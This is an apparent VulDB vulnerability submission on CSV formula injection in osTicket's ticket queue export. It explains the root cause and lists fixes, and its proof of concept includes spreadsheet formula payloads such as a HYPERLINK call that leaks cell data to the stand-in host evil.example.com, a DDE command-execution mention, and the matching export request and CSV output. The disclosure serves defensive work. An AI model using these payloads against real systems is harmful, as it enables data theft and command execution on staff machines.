提交 #1081050: osTicket 1.14 to 1.18.4 CSV Injection信息

标题osTicket 1.14 to 1.18.4 CSV Injection
描述Product: osTicket (open-source ticket system by Enhancesoft / osTicket.com), versions 1.14-rc1 through 1.18.4 (current latest, unfixed). A vulnerability, which was classified as high risk (suggested CVSS 3.1: 7.6 - AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N), was found in the ticket queue export functionality (Staff CP -> Tickets -> queue -> Export, POST /scp/ajax.php/tickets/export/{queueId}). CSV Formula Injection (CWE-1236): spreadsheet formulas placed into ticket fields (Subject, From display name, user attributes) are written verbatim into the CSV file that osTicket emails to the staff member. When the agent opens the file in Excel / LibreOffice / Google Sheets, the formulas execute in the agent's session: =HYPERLINK phishing, =WEBSERVICE out-of-band exfiltration of adjacent ticket data (Windows Excel), and DDE payloads (=cmd|...) achieve command execution on workstations where DDE is not disabled. ROOT CAUSE (two defects): 1. include/class.export.php lines 612-620: CsvExporter::escape() contains an unconditional "return $data;" BEFORE the formula-escaping code, making the sanitizer dead code since commit fa3262ba (2019-08-29). The official 2019 fix for CVE-2019-14749 (issue #4948) only added escaping to the OTHER exporter (CsvResultsExporter::dump, users-tab export); the queue export path shipped broken from v1.14-rc1 onward and remains unfixed in v1.18.4. 2. include/class.ticket.php lines 4059-4067: tickets created from email (origin 'Email') skip ALL form field validation, including Validator::is_formula added in 2019 specifically to block CSV payloads. Therefore NO authentication is required to inject the payload - one email to the support address with the formula in the Subject header is stored verbatim and later exported unsanitized. NOT A DUPLICATE of CVE-2019-14749: different code path (queue/ticket export vs users-tab export), different affected versions (1.14-rc1 through current vs <1.10.7 / 1.12.x <1.12.1), plus the email-origin input validation bypass. PROOF OF CONCEPT (verified on v1.18.4, local deployment): Step 1 - Unauthenticated injection via email (no credentials): From: Attacker <[email protected]> To: [email protected] Subject: =HYPERLINK("http://evil.example.com/leak?d="&C2,"Click to view") Delivery: email piping (php api/pipe.php), IMAP/POP cron fetch, or POST /api/tickets.email Result: ticket created, subject stored RAW in ost_ticket__cdata.subject: 498791 | =HYPERLINK("http://evil.example.com/leak?d="&C2,"Click to view") | Attacker 663024 | Second ticket with plus-prefixed sender name | =2+5cmd (From display name vector) Step 2 - Negative control (proves the email-path bypass): submitting the SAME subject via the web form (open.php) is rejected with "Content cannot start with the following characters: = - + @". Step 3 - Agent exports the queue (normal staff workflow): POST /scp/ajax.php/tickets/export/1 fields[]=number&fields[]=created&fields[]=cdata__subject&fields[]=user__name&fields[]=user__emails__address&filename=export&csv-delimiter=, => 201 {"eid":"...","interval":5} ; osTicket emails the CSV to the agent. Step 4 - The emailed CSV contains live formula cells (the "" doubling is CSV quoting; the parsed cell is the formula): "Ticket Number","Date Created",Subject,From,"From Email",Priority 663024,"2026-11-08 03:18:07","Second ticket with plus-prefixed sender name",=2+5cmd,[email protected], 498791,"2026-11-08 03:17:52","=HYPERLINK(""http://evil.example.com/leak?d=""&C2,""Click to view"")",Attacker,[email protected], Opening this file in a spreadsheet application executes the formulas in the agent's session. SUGGESTED REPAIR: 1. Enable the sanitizer (one-line fix): remove the early "return $data;" in CsvExporter::escape() (include/class.export.php:613) so the /^[=\-+@]/ escaping routine runs; extend the check to tab/whitespace-led payloads. 2. Apply the same escaping in CustomQueue::export() row rendering as defense in depth. 3. Stop exempting Email-origin tickets from is_formula validation on free-text fields. REFERENCES: - Dead code introduced: https://github.com/osTicket/osTicket/commit/fa3262ba - 2019 partial fix (other path): https://github.com/osTicket/osTicket/commit/99818486 - CVE-2019-14749 (different path/versions): https://nvd.nist.gov/vuln/detail/CVE-2019-14749 - Vendor: https://osticket.com/ | Source: https://github.com/osTicket/osTicket
用户
 kingkingqc (UID 102826)
提交2026-11-08 06時27分 (28 日前)
管理2026-12-06 11時43分 (28 days later)
状态已接受
VulDB条目450794 [osTicket 直到 1.17.8/1.18.4 CSV Export include/class.export.php CsvExporter::escape 权限提升]
积分17

Want to know what is going to be exploited?

We predict KEV entries!